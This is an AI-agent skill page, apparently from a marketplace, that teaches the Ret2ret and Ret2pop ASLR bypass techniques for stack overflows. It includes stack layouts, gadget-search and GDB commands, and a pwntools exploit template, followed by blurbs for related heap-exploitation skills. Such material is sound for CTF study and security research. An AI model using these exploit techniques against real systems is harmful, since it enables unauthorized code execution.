skills/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret/SKILL.md
How to bypass ASLR using Ret2ret and Ret2pop techniques. Use this skill whenever the user mentions ASLR bypass, stack pointer manipulation, ret2ret, ret2pop, or needs help crafting exploits that leverage existing stack pointers to defeat address randomization. Make sure to use this skill when working on binary exploitation challenges involving stack overflows with ASLR enabled, or when the user needs to understand how to abuse existing stack pointers for control flow hijacking.
npx skillsauth add abelrguezr/hacktricks-skills ret2ret-exploitationInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill teaches you how to bypass ASLR (Address Space Layout Randomization) by abusing existing pointers in the stack through Ret2ret and Ret2pop techniques.
Ret2ret is a technique to bypass ASLR by abusing an existing pointer in the stack.
Key insight: Stack overflows are usually caused by strings, and strings end with a null byte (0x00) at the end in memory. This allows you to modify the lowest byte of an existing stack pointer.
Example: If the stack contained 0xbfffffdd, a string overflow could transform it into 0xbfffff00 (the last byte becomes zeroed).
If that modified address points to your shellcode in the stack, you can make execution flow reach that address by chaining ret instructions until the modified pointer is reached.
Ret2pop is a variant used when you find a perfect pointer in the stack that you don't want to modify.
Key difference: Instead of modifying the pointer with 0x00, you:
pop <reg>; retpop instruction removes the data affected by the 0x00 from the stackret points to the perfect address without any change[Stack Layout]
├── NOP sled
├── Shellcode
├── Overwrite EIP with RET sled (addresses to `ret` instruction)
└── 0x00 byte modifies existing stack pointer → points to NOP sled
Step-by-step:
Find a suitable stack pointer - Look for an existing pointer in the stack that, when its lowest byte is zeroed, points to a useful location (your shellcode/NOP sled)
Craft the payload:
ret instructionsCalculate RET sled length - Count how many ret instructions you need to reach the modified pointer
Test and iterate - Use GDB to verify the pointer modification and control flow
[Stack Layout]
├── NOP sled
├── Shellcode
├── RET sled (shortened by 1)
├── pop <reg>; ret instruction
└── 0x00 byte overwrites data before perfect pointer
Step-by-step:
Find a perfect pointer - An existing stack pointer that already points to useful code/data
Craft the payload:
pop <reg>; ret gadgetThe pop instruction removes the corrupted data, leaving the perfect pointer intact
Final ret jumps to the unmodified perfect pointer
# Find ret instructions in the binary
ROPgadget --binary ./vulnerable_binary | grep "ret"
# Or use objdump
objdump -d ./vulnerable_binary | grep "^\s*[0-9a-f]*:\s*\s*c3"
# Find pop reg; ret gadgets
ROPgadget --binary ./vulnerable_binary | grep "pop.*ret"
# Common patterns:
pop eax; ret
pop ebx; ret
pop ecx; ret
pop edx; ret
# Set breakpoint at vulnerable function
gdb ./vulnerable_binary
(gdb) break vulnerable_function
# Run with input
(gdb) run $(python3 -c "print('A'*200 + 'B'*4)")
# Examine stack
(gdb) x/20wx $esp
# Look for useful pointers
(gdb) info registers
(gdb) x/10wx $ebp
from pwn import *
# Connect to target
p = process('./vulnerable_binary')
# p = remote('target.com', 1337)
# Find ret gadget
ret_addr = pwn.ROP(p).find_gadget('ret').address
# Find pop gadget (for ret2pop)
pop_ret = pwn.ROP(p).find_gadget('pop eax; ret').address
# Craft payload
payload = b''
payload += b'\x90' * 16 # NOP sled
payload += shellcode
payload += p64(ret_addr) * 10 # RET sled
# For ret2pop, add pop gadget at the end
# payload += p64(pop_ret)
p.sendline(payload)
p.interactive()
Scenario: Stack has pointer 0xbfffffdd, you want 0xbfffff00
Payload structure:
[padding][NOP sled][shellcode][ret_addr]*N[null terminator]
The null terminator modifies 0xbfffffdd → 0xbfffff00
RET sled chains N rets to reach that pointer
Scenario: Stack has perfect pointer at offset X, data before it gets corrupted
Payload structure:
[padding][NOP sled][shellcode][ret_addr]*(N-1)[pop_eax_ret][null terminator]
The null terminator corrupts data before perfect pointer
pop eax; ret removes that corrupted data
Final ret uses the perfect pointer
cat /proc/sys/kernel/randomize_va_spaceUse this skill when:
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.